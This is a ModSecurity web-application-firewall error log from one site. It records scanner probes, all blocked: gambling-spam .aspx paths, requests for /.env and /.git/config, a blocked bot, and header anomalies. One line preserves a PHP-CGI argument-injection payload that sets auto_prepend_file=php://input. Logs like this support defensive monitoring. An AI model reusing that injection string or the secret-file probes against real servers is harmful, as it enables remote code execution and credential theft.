[Mon Mar 23 02:49:11.749432 2026] [:error] [pid 27776:tid 27863] [client 51.75.119.69:41240] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "acA5p43Eaq7IZ5L-4XVv2gAAARA"]
[Mon Mar 23 02:49:13.622737 2026] [:error] [pid 27776:tid 27851] [client 51.75.119.69:41246] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "acA5qY3Eaq7IZ5L-4XVv4AAAAQU"]
[Mon Mar 23 02:49:15.630809 2026] [:error] [pid 27776:tid 27851] [client 51.75.119.69:35700] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "acA5q43Eaq7IZ5L-4XVv8QAAAQU"]
[Mon Mar 23 02:49:17.509768 2026] [:error] [pid 20587:tid 20663] [client 51.75.119.69:35716] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "acA5rYByf8r3QAk4VXP8WQAAAJQ"]
[Mon Mar 23 02:49:19.454190 2026] [:error] [pid 20587:tid 20657] [client 51.75.119.69:35730] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "acA5r4Byf8r3QAk4VXP8XgAAAI4"]
[Mon Mar 23 02:49:21.338998 2026] [:error] [pid 20856:tid 20920] [client 51.75.119.69:35744] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "acA5scxFtXFVNE-X2-KuZQAAAME"]
[Mon Mar 23 02:49:23.231823 2026] [:error] [pid 20856:tid 20923] [client 51.75.119.69:35750] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "acA5s8xFtXFVNE-X2-KucAAAAMQ"]
[Mon Mar 23 02:49:25.328902 2026] [:error] [pid 20574:tid 20595] [client 51.75.119.69:54728] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "acA5tddMXEnEZrwyzJkZrAAAAAY"]
[Mon Mar 23 02:49:27.299480 2026] [:error] [pid 27776:tid 27860] [client 51.75.119.69:54732] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "acA5t43Eaq7IZ5L-4XVwKgAAAQ0"]
[Mon Mar 23 02:49:29.333457 2026] [:error] [pid 20584:tid 20619] [client 51.75.119.69:54746] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "acA5uSWzr-bD_t6AP_TWowAAAEM"]
[Mon Mar 23 02:49:31.211606 2026] [:error] [pid 27776:tid 27867] [client 51.75.119.69:54748] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "acA5u43Eaq7IZ5L-4XVwNwAAARQ"]
[Mon Mar 23 02:49:33.238091 2026] [:error] [pid 27776:tid 27864] [client 51.75.119.69:54752] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "acA5vY3Eaq7IZ5L-4XVwQQAAARE"]
[Mon Mar 23 02:49:35.262082 2026] [:error] [pid 20856:tid 20928] [client 51.75.119.69:48858] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "acA5v8xFtXFVNE-X2-KujwAAAMk"]
[Mon Mar 23 02:49:37.153775 2026] [:error] [pid 20574:tid 20608] [client 51.75.119.69:48872] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "acA5wddMXEnEZrwyzJkZuAAAABM"]
[Mon Mar 23 02:49:39.192367 2026] [:error] [pid 27776:tid 27866] [client 51.75.119.69:48880] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "acA5w43Eaq7IZ5L-4XVwSwAAARM"]
[Mon Mar 23 02:49:41.079895 2026] [:error] [pid 20574:tid 20611] [client 51.75.119.69:48894] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "acA5xddMXEnEZrwyzJkZuwAAABY"]
[Mon Mar 23 02:49:43.101095 2026] [:error] [pid 20574:tid 20595] [client 51.75.119.69:48902] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "acA5x9dMXEnEZrwyzJkZxAAAAAY"]
[Mon Mar 23 02:49:44.974277 2026] [:error] [pid 20574:tid 20597] [client 51.75.119.69:60158] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "acA5yNdMXEnEZrwyzJkZywAAAAg"]
[Mon Mar 23 02:49:47.002495 2026] [:error] [pid 27776:tid 27871] [client 51.75.119.69:60166] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "acA5y43Eaq7IZ5L-4XVwTQAAARc"]
[Mon Mar 23 02:49:48.920810 2026] [:error] [pid 20856:tid 20926] [client 51.75.119.69:60182] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "acA5zMxFtXFVNE-X2-KuqgAAAMc"]
[Mon Mar 23 02:49:50.800743 2026] [:error] [pid 20574:tid 20607] [client 51.75.119.69:60194] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "acA5ztdMXEnEZrwyzJkZ1gAAABI"]
[Mon Mar 23 02:49:52.850136 2026] [:error] [pid 27776:tid 27865] [client 51.75.119.69:60208] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "acA50I3Eaq7IZ5L-4XVwVgAAARI"]
[Mon Mar 23 02:49:54.865430 2026] [:error] [pid 20856:tid 20937] [client 51.75.119.69:58390] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "acA50sxFtXFVNE-X2-KuvAAAANI"]
[Mon Mar 23 02:49:56.725392 2026] [:error] [pid 20856:tid 20940] [client 51.75.119.69:58406] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "acA51MxFtXFVNE-X2-KuwwAAANU"]
[Mon Mar 23 02:49:58.683454 2026] [:error] [pid 27776:tid 27854] [client 51.75.119.69:58422] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "acA51o3Eaq7IZ5L-4XVwYAAAAQg"]
[Mon Mar 23 03:09:03.291808 2026] [:error] [pid 20856:tid 20924] [client 216.73.216.103:1812] [client 216.73.216.103] ModSecurity: Warning. Pattern match "^$" at REQUEST_HEADERS:user-agent. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "120"] [id "217240"] [rev "3"] [msg "COMODO WAF: Empty User Agent Header||gigfragments.org|F|5"] [data "REQUEST_HEADERS:user-agent="] [severity "NOTICE"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/robots.txt"] [unique_id "acA-T8xFtXFVNE-X2-K4ZwAAAMU"]
[Mon Mar 23 03:58:32.847897 2026] [:error] [pid 23539:tid 23572] [client 122.51.236.174:55584] [client 122.51.236.174] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "acBJ6H7Dh3qWGSpIAZUSxAAAANg"]
[Mon Mar 23 07:55:08.243978 2026] [:error] [pid 23539:tid 23567] [client 95.111.234.66:20490] [client 95.111.234.66] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/"] [unique_id "acCBXH7Dh3qWGSpIAZWH2QAAANM"]
[Mon Mar 23 09:05:51.658402 2026] [authz_core:error] [pid 23539:tid 23562] [client 139.59.136.184:48582] AH01630: client denied by server configuration: /home/gigfrag/public_html/server-status
[Mon Mar 23 09:06:00.877337 2026] [:error] [pid 57265:tid 57271] [client 139.59.136.184:40506] [client 139.59.136.184] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env"] [unique_id "acCR-GNLjPJJkhuqCsjtvAAAAQQ"]
[Mon Mar 23 09:06:05.788140 2026] [:error] [pid 23539:tid 23560] [client 139.59.136.184:40522] [client 139.59.136.184] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.git/config"] [unique_id "acCR_X7Dh3qWGSpIAZWiFwAAAMw"]
[Mon Mar 23 09:06:24.564473 2026] [:error] [pid 57265:tid 57274] [client 139.59.136.184:55900] [client 139.59.136.184] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:\\xadd cgi.force_redirect=0 \\xadd disable_functions="" \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input. [file "/usr/local/apache/modsecurity-cwaf/rules/21_PHP_PHPGen.conf"] [line "22"] [id "218420"] [rev "2"] [msg "COMODO WAF: PHP Injection Attack: I/O Stream Found||www.gigfragments.org|F|2"] [data "Matched Data: php://input found within ARGS_NAMES:\\x5cxadd cgi.force_redirect=0 \\x5cxadd disable_functions=\\x22\\x22 \\x5cxadd allow_url_include=1 \\x5cxadd auto_prepend_file=php://input: \\xadd cgi.force_redirect=0 \\xadd disable_functions=\\x22\\x22 \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input"] [severity "CRITICAL"] [tag "CWAF"] [tag "PHPGen"] [hostname "www.gigfragments.org"] [uri "/php-cgi/php-cgi.exe"] [unique_id "acCSEGNLjPJJkhuqCsjuNgAAAQc"]
[Mon Mar 23 09:06:51.202157 2026] [:error] [pid 23439:tid 23464] [client 139.59.136.184:50482] [client 139.59.136.184] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.gigfragments.org|F|2"] [data ".axd"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.gigfragments.org"] [uri "/trace.axd"] [unique_id "acCSK6Zv8XIzUKdgaMdTAwAAAA8"]
[Mon Mar 23 09:25:21.009654 2026] [:error] [pid 57265:tid 57284] [client 43.135.145.77:54706] [client 43.135.145.77] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "acCWgWNLjPJJkhuqCsj78QAAARE"]
[Mon Mar 23 10:35:09.825926 2026] [:error] [pid 57265:tid 57279] [client 60.188.57.0:42529] [client 60.188.57.0] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "acCm3WNLjPJJkhuqCsgmiAAAAQw"]
[Mon Mar 23 10:57:11.612074 2026] [:error] [pid 57265:tid 57276] [client 49.228.42.234:62147] [client 49.228.42.234] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.228.42.234, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acCsB2NLjPJJkhuqCsg0AwAAAQk"]
[Mon Mar 23 12:49:38.233376 2026] [:error] [pid 57265:tid 57280] [client 195.201.199.99:37780] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "acDGYmNLjPJJkhuqCsh4nAAAAQ0"]
[Mon Mar 23 12:49:42.318412 2026] [:error] [pid 23439:tid 23463] [client 195.201.199.99:46142] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "acDGZqZv8XIzUKdgaMdsawAAAA4"]
[Mon Mar 23 12:49:46.286852 2026] [:error] [pid 35165:tid 35189] [client 195.201.199.99:47622] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "acDGas6udpN6Esk7JKtE7gAAAZU"]
[Mon Mar 23 12:49:50.137925 2026] [:error] [pid 57265:tid 57289] [client 195.201.199.99:49052] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "acDGbmNLjPJJkhuqCsh4ugAAARY"]
[Mon Mar 23 12:49:53.218638 2026] [:error] [pid 57265:tid 57269] [client 195.201.199.99:50106] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "acDGcWNLjPJJkhuqCsh4wQAAAQI"]
[Mon Mar 23 12:49:56.514569 2026] [:error] [pid 23441:tid 23520] [client 195.201.199.99:51422] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "acDGdBq7S-oOqSXZEr6hcgAAAJE"]
[Mon Mar 23 12:50:00.696735 2026] [:error] [pid 57265:tid 57291] [client 195.201.199.99:52988] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "acDGeGNLjPJJkhuqCsh4zgAAARg"]
[Mon Mar 23 12:50:04.244867 2026] [:error] [pid 14573:tid 14577] [client 195.201.199.99:54142] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "acDGfO-oSmHn3q4_J1FHYAAAAUI"]
[Mon Mar 23 12:50:07.838830 2026] [:error] [pid 14573:tid 14589] [client 195.201.199.99:55426] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "acDGf--oSmHn3q4_J1FHZQAAAU4"]
[Mon Mar 23 12:50:11.268495 2026] [:error] [pid 14573:tid 14583] [client 195.201.199.99:56664] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "acDGg--oSmHn3q4_J1FHZwAAAUg"]
[Mon Mar 23 12:50:14.745196 2026] [:error] [pid 57265:tid 57282] [client 195.201.199.99:57736] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "acDGhmNLjPJJkhuqCsh4-QAAAQ8"]
[Mon Mar 23 12:50:18.338708 2026] [:error] [pid 23539:tid 23553] [client 195.201.199.99:58858] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "acDGin7Dh3qWGSpIAZXS2gAAAMU"]
[Mon Mar 23 12:50:21.991141 2026] [:error] [pid 35165:tid 35190] [client 195.201.199.99:60098] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "acDGjc6udpN6Esk7JKtFGAAAAZY"]
[Mon Mar 23 12:50:25.748422 2026] [:error] [pid 57265:tid 57268] [client 195.201.199.99:33094] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "acDGkWNLjPJJkhuqCsh5CAAAAQE"]
[Mon Mar 23 12:50:29.055814 2026] [:error] [pid 23440:tid 23492] [client 195.201.199.99:34116] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "acDGlT49_8n8h_ttcUoF_wAAAFA"]
[Mon Mar 23 12:50:32.337516 2026] [:error] [pid 23539:tid 23557] [client 195.201.199.99:35178] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "acDGmH7Dh3qWGSpIAZXS5gAAAMk"]
[Mon Mar 23 12:51:23.328926 2026] [:error] [pid 35165:tid 35181] [client 195.201.199.99:36002] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "acDGy86udpN6Esk7JKtFYAAAAY0"]
